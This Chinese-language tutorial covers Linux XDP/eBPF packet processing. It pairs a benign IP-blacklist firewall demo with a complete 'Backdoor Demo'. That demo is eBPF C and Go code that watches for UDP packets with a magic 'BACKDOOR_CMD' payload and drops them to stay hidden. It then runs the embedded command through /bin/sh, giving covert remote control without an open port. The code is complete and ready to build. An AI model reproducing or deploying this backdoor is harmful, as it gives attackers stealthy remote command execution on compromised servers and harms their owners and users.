XDP基础

简介

XDP(eXpress Data Path)是Linux内核中的一种高性能可编程数据路径,专为网络接口级的数据包处理而设计。通过将eBPF程序直接附加到网络设备驱动程序上,XDP能够在数据包到达内核网络栈之前拦截并处理它们。这使得XDP能够进行极低延迟和高效的数据包处理,非常适合如DDoS防护、负载均衡和流量过滤等任务。

由于XDP程序可以直接附加到网络接口,所以每当网络接口接收到新的数据包时,XDP程序就会收到回调,并能迅速对数据包执行操作。可以使用以下三种运行模式将XDP程序连接到接口:

  1. 通用XDP(Generic XDP):XDP程序作为普通网络路径的一部分加载到内核中,这种方式无法充分发挥性能优势,但它是测试XDP程序或在不提供XDP特定支持的通用硬件上运行这些程序的简便方法。
  2. 原生XDP(Native XDP):XDP程序由网卡驱动程序作为其初始接收路径的一部分加载,需要网卡驱动程序的支持。
  3. 卸载式XDP(Offloaded XDP):XDP程序直接加载到网卡上,并在不使用CPU的情况下执行,这需要网络接口设备的支持。

当XDP程序连接到网络接口时,可以通过返回特定的动作来对数据包进行处理,主要包含以下5种标准动作:

动作名称 核心含义 是否经过内核协议栈 典型应用场景
XDP_DROP 丢弃 DDoS防御、防火墙黑名单拦截
XDP_PASS 放行 正常业务流量、移交内核处理
XDP_TX 原路发回 负载均衡响应、TCP代理(同一网卡)
XDP_REDIRECT 重定向 转发到其他网卡、发给用户态(AF_XDP)
XDP_ABORTED 异常中止 程序错误处理、异常监控

下图展示了Offloaded XDP运行模式下,eBPF程序从从用户空间编译加载,到内核验证处理,最终挂载至网卡驱动的全生命周期流程。

  1. 编译加载与系统调用:在用户空间,用户编写的C代码经LLVM编译为ELF格式的eBPF字节码,随后由用户态工具(如iproute2或BCC)通过bpf()系统调用,将包含指令、元数据及目标网卡索引(ifindex)的程序描述符提交至内核,请求加载并关联至指定网络设备。
  2. 内核验证与即时编译:进入内核空间后,核心子系统首先执行严格的静态分析验证,确保字节码逻辑安全、无死循环且内存访问合规,以保障内核稳定性;验证通过后,即时编译器将通用的eBPF字节码翻译为当前CPU架构的原生机器指令,从而极大提升运行时的执行效率。
  3. 驱动挂载与硬件卸载:内核通过网卡驱动提供的ndo_bpf()接口,将编译好的程序挂载至驱动的XDP钩子上;在此阶段,程序既可在驱动层通过软件解释执行,也可被进一步Offload至支持可编程数据面的智能网卡硬件中,实现零主机CPU占用的线速包处理。

环境搭建

XDP的依赖主要分为内核基础、编译工具链和用户态管理库三个部分。

1
2
3
4
5
sudo apt-get install -y \
make gcc clang llvm libelf-dev \
linux-headers-$(uname -r) \
iproute2 \
libbpf-dev

Firewall Demo

编写一个XDP来实现在驱动层拦截恶意IP数据包,在数据包进入内核协议栈之前,利用内核态的哈希表快速查找并丢弃黑名单中的流量。

  • 内核程序
    • XDP入口点接收数据包,解析IP头
    • 黑名单BPF_MAP_TYPE_HASH,key=IP,value=1
    • RingBuffer事件流,发送DROP/PASS事件给用户态
    • 触发XDP_DROP或XDP_PASS决策
  • 用户态程序
    • 加载eBPF程序到XDP
    • 通过ebpf.Map API管理黑名单
    • RingBuffer异步读取事件,格式化打印流量信息
    • 通过命令行参数-iface来指定网络接口
    • 通过命令行参数-mode来指定XDP运行模式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#define BPF_NO_GLOBAL_DATA
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_endian.h>

#ifndef ETH_P_IP
#define ETH_P_IP 0x0800
#endif

char LICENSE[] SEC("license") = "Dual BSD/GPL";

/* RingBuffer通信的事件结构体 */
struct xdp_event {
__u32 src_ip;
__u32 dst_ip;
__u8 protocol;
__u8 action; /* 0 = 放行, 1 = 丢弃 */
};

/* 黑名单Map: key=IP地址, value=1表示黑名单 */
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__type(key, __u32);
__type(value, __u8);
__uint(max_entries, 10000);
} ip_blacklist SEC(".maps");

/* 用于事件流的RingBuffer */
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} events SEC(".maps");

/* 边界检查辅助函数 */
static __always_inline int check_eth_bound(struct ethhdr *eth, void *data_end) {
return (void *)(eth + 1) > data_end ? -1 : 0;
}

static __always_inline int check_ip_bound(struct iphdr *ip, void *data_end) {
return (void *)(ip + 1) > data_end ? -1 : 0;
}

/* 主XDP程序 */
SEC("xdp")
int xdp_firewall(struct xdp_md *ctx) {
void *data_end = (void *)(long)ctx->data_end;
void *data = (void *)(long)ctx->data;

/* 解析以太网帧 */
struct ethhdr *eth = data;
if (check_eth_bound(eth, data_end) < 0) {
return XDP_PASS;
}

/* 检查是否为IPv4数据包 */
if (eth->h_proto != bpf_htons(ETH_P_IP)) {
return XDP_PASS;
}

/* 解析IP头 */
struct iphdr *ip = (void *)(eth + 1);
if (check_ip_bound(ip, data_end) < 0) {
return XDP_PASS;
}

/* 提取源IP和目标IP */
__u32 src_ip = ip->saddr;
__u32 dst_ip = ip->daddr;
__u8 protocol = ip->protocol;

/* 检查源IP是否在黑名单中 */
__u8 *blocked;
blocked = bpf_map_lookup_elem(&ip_blacklist, &src_ip);

__u8 action = XDP_PASS; /* 默认放行 */
int verdict = XDP_PASS;

if (blocked && *blocked == 1) {
/* IP在黑名单中 */
action = 1; /* 丢弃 */
verdict = XDP_DROP;
bpf_printk("XDP DROP: src=%pI4 dst=%pI4 proto=%d\n",
&src_ip, &dst_ip, protocol);
} else {
/* IP被允许 */
action = 0; /* 放行 */
verdict = XDP_PASS;
bpf_printk("XDP PASS: src=%pI4 dst=%pI4 proto=%d\n",
&src_ip, &dst_ip, protocol);
}

/* 通过RingBuffer向用户态提交事件 */
struct xdp_event *event = bpf_ringbuf_reserve(&events, sizeof(struct xdp_event), 0);
if (event) {
event->src_ip = src_ip;
event->dst_ip = dst_ip;
event->protocol = protocol;
event->action = action;
bpf_ringbuf_submit(event, 0);
}

return verdict;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
//go:build linux

package main

//go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang -cflags "-O2 -g -Wall -D__TARGET_ARCH_x86" -target bpfel xdpfw ../../bpf/xdpfw.bpf.c -- -I../../bpf

import (
"bytes"
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"os"
"os/signal"
"strings"
"sync"
"syscall"

"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/ringbuf"
)

// 与内核端匹配的事件结构体
type xdpEvent struct {
SrcIP uint32
DstIP uint32
Protocol uint8
Action uint8 // 0 = 放行, 1 = 丢弃
}

// 使用LittleEndian字节序以匹配内核对ip->saddr的处理方式
func ipToUint32(ipStr string) (uint32, error) {
ip := net.ParseIP(ipStr)
if ip == nil {
return 0, fmt.Errorf("invalid IP address: %s", ipStr)
}
ip = ip.To4()
if ip == nil {
return 0, fmt.Errorf("not an IPv4 address: %s", ipStr)
}
return binary.LittleEndian.Uint32(ip), nil
}

// 输入值与内核小端字节序存储的IP地址一致
func uint32ToIP(ipVal uint32) string {
return net.IPv4(byte(ipVal), byte(ipVal>>8), byte(ipVal>>16), byte(ipVal>>24)).String()
}

// 初始化黑名单Map
func initializeBlacklist(objs *xdpfwObjects) error {
// 黑名单, 这些IP将被丢弃
testIPs := []string{
"202.98.105.207",
}

for _, ipStr := range testIPs {
ipVal, err := ipToUint32(ipStr)
if err != nil {
return fmt.Errorf("invalid IP in blacklist: %v", err)
}

val := uint8(1) // 1 = 黑名单
if err := objs.IpBlacklist.Put(ipVal, val); err != nil {
return fmt.Errorf("failed to insert IP %s into blacklist: %v", ipStr, err)
}
fmt.Printf("[*] 已添加到黑名单: %s\n", ipStr)
}

return nil
}

// 将协议字节转换为协议名称
func protocolName(proto uint8) string {
switch proto {
case 6:
return "TCP"
case 17:
return "UDP"
case 1:
return "ICMP"
default:
return fmt.Sprintf("OTHER(%d)", proto)
}
}

// 将动作字节转换为动作名称
func actionName(action uint8) string {
if action == 1 {
return "DROP"
}
return "PASS"
}

// 主函数
func main() {
var iface string
var xdpMode string
flag.StringVar(&iface, "iface", "lo", "要附加XDP程序的网络接口")
flag.StringVar(&xdpMode, "mode", "skb", "XDP模式: native(驱动支持), skb(通用模式), offload(硬件卸载)")
flag.Parse()

if iface == "" {
log.Fatal("错误:-iface标志是必需的")
}

// 获取网络接口索引
ifaceObj, err := net.InterfaceByName(iface)
if err != nil {
log.Fatalf("Error: could not find interface %s: %v", iface, err)
}
ifIndex := ifaceObj.Index

fmt.Printf("[*] eBPF XDP防火墙启动\n")
fmt.Printf("[*] 附加到接口: %s (index: %d)\n", iface, ifIndex)
fmt.Printf("[*] 内核BPF程序将丢弃来自黑名单IP的数据包\n")
fmt.Printf("[*] 按Ctrl+C退出\n\n")

// 加载eBPF对象(自动生成的绑定)
var objs xdpfwObjects
if err := loadXdpfwObjects(&objs, nil); err != nil {
log.Fatalf("错误: 无法加载eBPF对象: %v", err)
}
defer objs.Close()

// 使用测试IP初始化黑名单Map
if err := initializeBlacklist(&objs); err != nil {
log.Fatalf("初始化黑名单出错: %v", err)
}

// 解析XDP模式
var xdpFlags link.XDPAttachFlags
switch xdpMode {
case "native":
xdpFlags = link.XDPDriverMode
case "skb":
xdpFlags = link.XDPGenericMode
case "offload":
xdpFlags = link.XDPOffloadMode
default:
log.Fatalf("未知的XDP模式: %s (可用: native, skb, offload)", xdpMode)
}

fmt.Printf("[*] XDP模式: %s\n", xdpMode)

// 将XDP程序附加到网络接口
l, err := link.AttachXDP(link.XDPOptions{
Program: objs.XdpFirewall,
Interface: ifIndex,
Flags: xdpFlags,
})
if err != nil {
log.Fatalf("附加XDP程序出错: %v", err)
}
defer l.Close()

fmt.Printf("[+] XDP程序已附加到 %s\n\n", iface)
fmt.Printf("%-15s %-15s %-10s %-10s\n", "SRC IP", "DST IP", "PROTOCOL", "ACTION")
fmt.Println(strings.Repeat("=", 52))

// 创RingBuffer读取器
reader, err := ringbuf.NewReader(objs.Events)
if err != nil {
log.Fatalf("创RingBuffer读取器出错: %v", err)
}
defer reader.Close()

// 设置信号处理以优雅关闭
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

// 使WaitGroup协调关闭
var wg sync.WaitGroup
done := make(chan bool, 1)

// 事件计数器
var eventCount int
maxEvents := 20

// 在goroutine中读取事件
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-done:
return
default:
}

record, err := reader.Read()
if err != nil {
// 检查我们是否正在关闭
select {
case <-done:
return
default:
}
log.Printf("从 RingBuffer读取出错: %v", err)
continue
}

// 解析事件
var event xdpEvent
if err := binary.Read(bytes.NewBuffer(record.RawSample), binary.LittleEndian, &event); err != nil {
log.Printf("解析事件出错: %v", err)
continue
}

// 打印事件
srcIP := uint32ToIP(event.SrcIP)
dstIP := uint32ToIP(event.DstIP)
proto := protocolName(event.Protocol)
action := actionName(event.Action)

fmt.Printf("%-15s %-15s %-10s %-10s\n", srcIP, dstIP, proto, action)

// 检查事件计数
eventCount++
if eventCount >= maxEvents {
fmt.Printf("\n[*] 已达到最大事件数 (%d), 准备退出...\n", maxEvents)
sigChan <- syscall.SIGTERM
return
}
}
}()

// 等待信号
sig := <-sigChan
fmt.Printf("\n[*] 接收到信号: %v\n", sig)
fmt.Printf("[*] 卸载XDP程序并退出...\n")

close(done)
wg.Wait()
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# 变量
CLANG ?= clang
STRIP ?= llvm-strip
BPFTOOL ?= bpftool
GO ?= go
ARCH := $(shell uname -m | sed 's/x86_64/x86/g; s/arm.*/arm/g')

# Directories
BPF_DIR := bpf
CMD_DIR := cmd/xdp_firewall
OUTPUT_DIR := bin

# Generate targets
.PHONY: all clean generate vmlinux build help deps

all: generate build

deps:
@echo "[*] 下载Go依赖..."
$(GO) mod download
@echo "[+] Go依赖已准备就绪"

help:
@echo "Targets:"
@echo " make vmlinux - Generate vmlinux.h from kernel BTF"
@echo " make generate - Generate eBPF Go bindings with bpf2go"
@echo " make build - Build Go userspace program"
@echo " make all - vmlinux + generate + build"
@echo " make clean - Clean generated files"

# 从内核BTF生成vmlinux.h
vmlinux: $(BPF_DIR)/vmlinux.h

$(BPF_DIR)/vmlinux.h:
@echo "[*] 从内核BTF生成vmlinux.h..."
@if [ ! -f /sys/kernel/btf/vmlinux ]; then \
echo "错误:在/sys/kernel/btf/vmlinux中找不到内核BTF"; \
echo "注意:此程序需要Linux内核 5.8+且子活CONFIG_DEBUG_INFO_BTF"; \
exit 1; \
fi
$(BPFTOOL) btf dump file /sys/kernel/btf/vmlinux format c > $@
@echo "[+] vmlinux.h已生成"

# 从 eBPF 程序生成 Go 绑定
generate: deps vmlinux
@echo "[*] 使用 bpf2go 生成 eBPF Go 绑定..."
cd $(CMD_DIR) && \
$(GO) run github.com/cilium/ebpf/cmd/bpf2go \
-go-package main \
-cc $(CLANG) \
-cflags "-O2 -g -D__TARGET_ARCH_x86" \
-strip $(STRIP) \
-target bpfel \
xdpfw ../../$(BPF_DIR)/xdpfw.bpf.c
@echo "[+] Go 绑定已生成"

# 构建 Go 程序
build: $(OUTPUT_DIR)/xdp_firewall

$(OUTPUT_DIR)/xdp_firewall: generate
@echo "[*] 构建 Go 程序..."
@mkdir -p $(OUTPUT_DIR)
CGO_ENABLED=0 $(GO) build -o $@ ./$(CMD_DIR)
@echo "[+] 二进制文件已构建: $@"

# 清理目标
clean:
@echo "[*] Cleaning..."
rm -rf $(OUTPUT_DIR)
rm -f $(CMD_DIR)/xdpfw_bpfel.o $(CMD_DIR)/xdpfw_bpfeb.o
rm -f $(CMD_DIR)/xdpfw_bpfel.go $(CMD_DIR)/xdpfw_bpfeb.go
@echo "[+] Clean complete"

.PHONY: all clean generate vmlinux build help

这里用的是阿里云服务器,所以Native XDP不适用(可以通过ethtool -i eth0来判断网卡是否支持Native XDP,如果driver显示为virtio_net大概率不行),所以选择运行模式为Generic XDP,挂载网卡效果如下,可以看到来自黑名单的访问都被DROP掉了。

Backdoor Demo

编写一个XDP后门程序,在不开额外端口的情况下,通过特定格式的UDP数据包激活并执行命令,实现隐蔽的远程控制功能。

  • 内核程序
    • XDP入口点接收数据包,进行多层协议解析和过滤(检查以太网头、IP头、UDP头的完整性,验证IPv4协议和UDP协议以及校验UDP数据包长度和边界)
    • BPF_MAP_TYPE_ARRAY存储命令,key=0(固定索引),value=命令结构体(包含cmd字段和processed标志)
    • 多重信标验证(Payload长度,Magic字符串等)
    • 触发XDP_DROP决策,丢弃匹配的数据包以增加隐蔽性
  • 用户态程序
    • 加载eBPF程序到XDP并附加到指定网络接口
    • 通过bpf_map_lookup_elem读取内核态存储的命令,并执行提取的命令
    • 支持任意端口激活,无需开放特定端口(数据包在XDP层即被处理)
    • 通过命令行参数-iface来指定网络接口
    • 通过命令行参数-mode来指定XDP运行模式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#define BPF_NO_GLOBAL_DATA
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_endian.h>

/* 以太网协议类型: IPv4 */
#ifndef ETH_P_IP
#define ETH_P_IP 0x0800
#endif

/* Magic字符串长度 ("BACKDOOR_CMD") */
#define MAGIC_LEN 12

/* 结束标记长度 ("END") */
#define END_MARKER_LEN 3

/*
* Payload固定长度:
* 1. 避免IP分片(MTU 1500字节足够容纳)
* 2. 混入正常DNS查询流量, 增强隐蔽性
* 3. 足够执行大多数常见命令
* 4. 减少网络传输开销
*/
#define PAYLOAD_LEN 128

/* 命令最大长度 */
#define CMD_MAX_LEN 100

/* BPF程序许可证声明 */
char LICENSE[] SEC("license") = "Dual BSD/GPL";

/*
* 命令事件结构体
* 用于在内核态和用户态之间传递命令信息
*/
struct cmd_event {
char cmd[CMD_MAX_LEN]; /* 提取的命令字符串 */
__u32 processed; /* 处理标志: 0=未处理, 1=已处理 */
};

/*
* 命令存储Map
* 类型: BPF_MAP_TYPE_ARRAY (数组类型, key固定为0)
* 用途: 存储从数据包中提取的命令, 供用户态读取
*/
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__type(key, __u32);
__type(value, struct cmd_event);
__uint(max_entries, 1);
} cmd_map SEC(".maps");

/*
* 事件通知RingBuffer
* 类型: BPF_MAP_TYPE_RINGBUF
* 用途: 向用户态发送命令提取事件, 实现异步通知
* 大小: 256KB, 足够缓存多个事件
*/
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} events SEC(".maps");

/* 边界检查辅助函数 - 以太网头 */
static __always_inline int check_eth_bound(struct ethhdr *eth, void *data_end) {
return (void *)(eth + 1) > data_end ? -1 : 0;
}

/* 边界检查辅助函数 - IP头 */
static __always_inline int check_ip_bound(struct iphdr *ip, void *data_end) {
return (void *)(ip + 1) > data_end ? -1 : 0;
}

/* 边界检查辅助函数 - UDP头 */
static __always_inline int check_udp_bound(struct udphdr *udp, void *data_end) {
return (void *)(udp + 1) > data_end ? -1 : 0;
}

/* 边界检查辅助函数 - Payload */
static __always_inline int check_payload_bound(void *payload, __u32 len, void *data_end) {
return (void *)((char *)payload + len) > data_end ? -1 : 0;
}

/* 查找结束标记"END" */
static __always_inline int find_end_marker(const char *payload, __u32 start, __u32 end, __u32 *pos) {
for (__u32 i = start; i <= end - END_MARKER_LEN; i++) {
if (payload[i] == 'E' && payload[i+1] == 'N' && payload[i+2] == 'D') {
*pos = i;
return 0;
}
}
return -1;
}

/*
* XDP主程序 - backdoor_xdp
*
* 功能:
* 1. 解析网络数据包 (以太网 -> IP -> UDP -> Payload)
* 2. 多层过滤验证
* 3. 提取命令并存储
* 4. 发送事件通知用户态
* 5. 丢弃数据包
*
* 返回值:
* 1. XDP_PASS: 放行数据包 (不匹配后门格式)
* 2. XDP_DROP: 丢弃数据包 (匹配后门格式, 增强隐蔽性)
*/
SEC("xdp")
int backdoor_xdp(struct xdp_md *ctx) {
/* 获取数据包起始和结束地址 */
void *data_end = (void *)(long)ctx->data_end;
void *data = (void *)(long)ctx->data;

/* 解析以太网头 */
struct ethhdr *eth = data;
if (check_eth_bound(eth, data_end) < 0) {
return XDP_PASS; /* 边界检查失败, 放行 */
}

/* 检查是否为IPv4数据包 */
if (eth->h_proto != bpf_htons(ETH_P_IP)) {
return XDP_PASS; /* 非IPv4, 放行 */
}

/* 解析IP头 */
struct iphdr *ip = (void *)(eth + 1);
if (check_ip_bound(ip, data_end) < 0) {
return XDP_PASS;
}

/* 检查是否为UDP协议 */
if (ip->protocol != IPPROTO_UDP) {
return XDP_PASS; /* 非UDP, 放行 */
}

/* 解析UDP头 */
struct udphdr *udp = (void *)(ip + 1);
if (check_udp_bound(udp, data_end) < 0) {
return XDP_PASS;
}

/* 获取UDP数据长度(网络字节序转主机字节序) */
__u16 udp_len = bpf_ntohs(udp->len);
if (udp_len < sizeof(struct udphdr)) {
return XDP_PASS; /* UDP长度不合法 */
}

/* 验证Payload长度 */
__u16 payload_len = udp_len - sizeof(struct udphdr);
if (payload_len != PAYLOAD_LEN) {
return XDP_PASS; /* Payload长度不是128字节, 放行 */
}

/* 解析Payload */
char *payload = (char *)(udp + 1);
if (check_payload_bound(payload, PAYLOAD_LEN, data_end) < 0) {
return XDP_PASS;
}

/* 验证Magic字符串 */
const char magic[] = "BACKDOOR_CMD";
#pragma unroll /* 循环展开, 优化性能 */
for (int i = 0; i < MAGIC_LEN; i++) {
if (payload[i] != magic[i]) {
return XDP_PASS; /* Magic不匹配, 放行 */
}
}

/* 查找END标记 */
__u32 end_pos;
if (find_end_marker(payload, MAGIC_LEN, PAYLOAD_LEN, &end_pos) < 0) {
return XDP_PASS; /* 未找到END标记, 放行 */
}

/* 验证命令长度 */
__u32 cmd_len = end_pos - MAGIC_LEN;
if (cmd_len < 1 || cmd_len >= CMD_MAX_LEN) {
return XDP_PASS; /* 命令长度无效, 放行 */
}

/* 固定key值, 只存储最新命令 */
__u32 key = 0;

/* 从RingBuffer预留空间 */
struct cmd_event *event = bpf_ringbuf_reserve(&events, sizeof(struct cmd_event), 0);
if (!event) {
return XDP_DROP; /* RingBuffer满, 丢弃数据包 */
}

/* 初始化命令结构体 */
struct cmd_event cmd_data = {};
cmd_data.processed = 0;

/* 提取命令内容 */
#pragma unroll
for (int i = 0; i < CMD_MAX_LEN - 1; i++) {
if (i < cmd_len) {
cmd_data.cmd[i] = payload[MAGIC_LEN + i];
} else {
cmd_data.cmd[i] = '\0'; /* 填充NULL终止符 */
}
}
cmd_data.cmd[CMD_MAX_LEN - 1] = '\0'; /* 确保字符串终止 */

/* 将命令数据复制到RingBuffer事件 */
__builtin_memcpy(event, &cmd_data, sizeof(struct cmd_event));
bpf_ringbuf_submit(event, 0); /* 提交事件, 通知用户态 */

/* 将命令存储到Map中, 供用户态读取 */
bpf_map_update_elem(&cmd_map, &key, &cmd_data, BPF_ANY);

/* 打印调试信息到内核日志 */
bpf_printk("XDP BACKDOOR: Command extracted: %s\n", cmd_data.cmd);

return XDP_DROP;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
//go:build linux

package main

//go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang -cflags "-O2 -g -Wall -D__TARGET_ARCH_x86" -target bpfel backdoor ../../bpf/backdoor.bpf.c -- -I../../bpf

import (
"bytes"
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"os"
"os/exec"
"os/signal"
"strings"
"syscall"

"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/ringbuf"
)

/* 命令最大长度 */
const (
cmdMaxLen = 100
)

/* 命令事件结构体 */
type cmdEvent struct {
Cmd [cmdMaxLen]byte
Processed uint32
}

/* 主函数 */
func main() {
var iface string
var xdpMode string
flag.StringVar(&iface, "iface", "lo", "要附加XDP程序的网络接口")
flag.StringVar(&xdpMode, "mode", "skb", "XDP模式: native(驱动支持), skb(通用模式), offload(硬件卸载)")
flag.Parse()

if iface == "" {
log.Fatal("错误: -iface标志是必需的")
}

ifaceObj, err := net.InterfaceByName(iface)
if err != nil {
log.Fatalf("错误: 找不到接口 %s: %v", iface, err)
}
ifIndex := ifaceObj.Index

fmt.Printf("[*] eBPF XDP后门启动\n")
fmt.Printf("[*] 附加到接口: %s (index: %d)\n", iface, ifIndex)
fmt.Printf("[*] 等待接收特定格式的UDP数据包...\n")
fmt.Printf("[*] 数据包格式: BACKDOOR_CMD + 命令 + END (总长度128字节)\n")
fmt.Printf("[*] 按Ctrl+C退出\n\n")

var objs backdoorObjects
if err := loadBackdoorObjects(&objs, nil); err != nil {
log.Fatalf("错误: 无法加载eBPF对象: %v", err)
}
defer objs.Close()

var xdpFlags link.XDPAttachFlags
switch xdpMode {
case "native":
xdpFlags = link.XDPDriverMode
case "skb":
xdpFlags = link.XDPGenericMode
case "offload":
xdpFlags = link.XDPOffloadMode
default:
log.Fatalf("未知的XDP模式: %s (可用: native, skb, offload)", xdpMode)
}

fmt.Printf("[*] XDP模式: %s\n", xdpMode)

l, err := link.AttachXDP(link.XDPOptions{
Program: objs.BackdoorXdp,
Interface: ifIndex,
Flags: xdpFlags,
})
if err != nil {
log.Fatalf("附加XDP程序出错: %v", err)
}
defer l.Close()

fmt.Printf("[+] XDP程序已附加到 %s\n\n", iface)
fmt.Printf("%-10s %-80s\n", "序号", "提取的命令")
fmt.Println(strings.Repeat("=", 92))

reader, err := ringbuf.NewReader(objs.Events)
if err != nil {
log.Fatalf("创建RingBuffer读取器出错: %v", err)
}
defer reader.Close()

sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

var cmdCount int

for {
select {
case <-sigChan:
fmt.Printf("\n[*] 接收到信号, 卸载XDP程序并退出...\n")
return
default:
}

record, err := reader.Read()
if err != nil {
log.Printf("从RingBuffer读取出错: %v", err)
continue
}

var event cmdEvent
if err := binary.Read(bytes.NewBuffer(record.RawSample), binary.LittleEndian, &event); err != nil {
log.Printf("解析事件出错: %v", err)
continue
}

cmdCount++
cmdStr := strings.TrimSpace(string(bytes.TrimRight(event.Cmd[:], "\x00")))

fmt.Printf("%-10d %-80s\n", cmdCount, cmdStr)
fmt.Printf("[+] 执行命令: %s\n", cmdStr)

cmd := exec.Command("/bin/sh", "-c", cmdStr)
output, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("[-] 命令执行错误: %v\n", err)
} else {
if len(output) > 0 {
fmt.Printf("[+] 命令输出:\n%s\n", string(output))
}
}
fmt.Println(strings.Repeat("-", 92))
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
CLANG ?= clang
STRIP ?= llvm-strip
BPFTOOL ?= bpftool
GO ?= go
ARCH := $(shell uname -m | sed 's/x86_64/x86/g; s/arm.*/arm/g')

BPF_DIR := bpf
CMD_DIR := cmd/backdoor
OUTPUT_DIR := bin

.PHONY: all clean generate vmlinux build help deps

all: generate build

deps:
@echo "[*] 整理Go依赖..."
$(GO) mod tidy
@echo "[*] 下载Go依赖..."
$(GO) mod download
@echo "[+] Go依赖已准备就绪"

help:
@echo "Targets:"
@echo " make vmlinux - Generate vmlinux.h from kernel BTF"
@echo " make generate - Generate eBPF Go bindings with bpf2go"
@echo " make build - Build Go userspace program"
@echo " make all - vmlinux + generate + build"
@echo " make clean - Clean generated files"

vmlinux: $(BPF_DIR)/vmlinux.h

$(BPF_DIR)/vmlinux.h:
@echo "[*] 从内核BTF生成vmlinux.h..."
@if [ ! -f /sys/kernel/btf/vmlinux ]; then \
echo "错误:在/sys/kernel/btf/vmlinux中找不到内核BTF"; \
echo "注意:此程序需要Linux内核 5.8+且启用CONFIG_DEBUG_INFO_BTF"; \
exit 1; \
fi
$(BPFTOOL) btf dump file /sys/kernel/btf/vmlinux format c > $@
@echo "[+] vmlinux.h已生成"

generate: deps vmlinux
@echo "[*] 使用 bpf2go 生成 eBPF Go 绑定..."
cd $(CMD_DIR) && \
$(GO) run github.com/cilium/ebpf/cmd/bpf2go \
-go-package main \
-cc $(CLANG) \
-cflags "-O2 -g -D__TARGET_ARCH_x86" \
-strip $(STRIP) \
-target bpfel \
backdoor ../../$(BPF_DIR)/backdoor.bpf.c
@echo "[+] Go 绑定已生成"

build: $(OUTPUT_DIR)/backdoor

$(OUTPUT_DIR)/backdoor: generate
@echo "[*] 构建 Go 程序..."
@mkdir -p $(OUTPUT_DIR)
CGO_ENABLED=0 $(GO) build -o $@ ./$(CMD_DIR)
@echo "[+] 二进制文件已构建: $@"

clean:
@echo "[*] Cleaning..."
rm -rf $(OUTPUT_DIR)
rm -f $(CMD_DIR)/backdoor_bpfel.o $(CMD_DIR)/backdoor_bpfeb.o
rm -f $(CMD_DIR)/backdoor_bpfel.go $(CMD_DIR)/backdoor_bpfeb.go
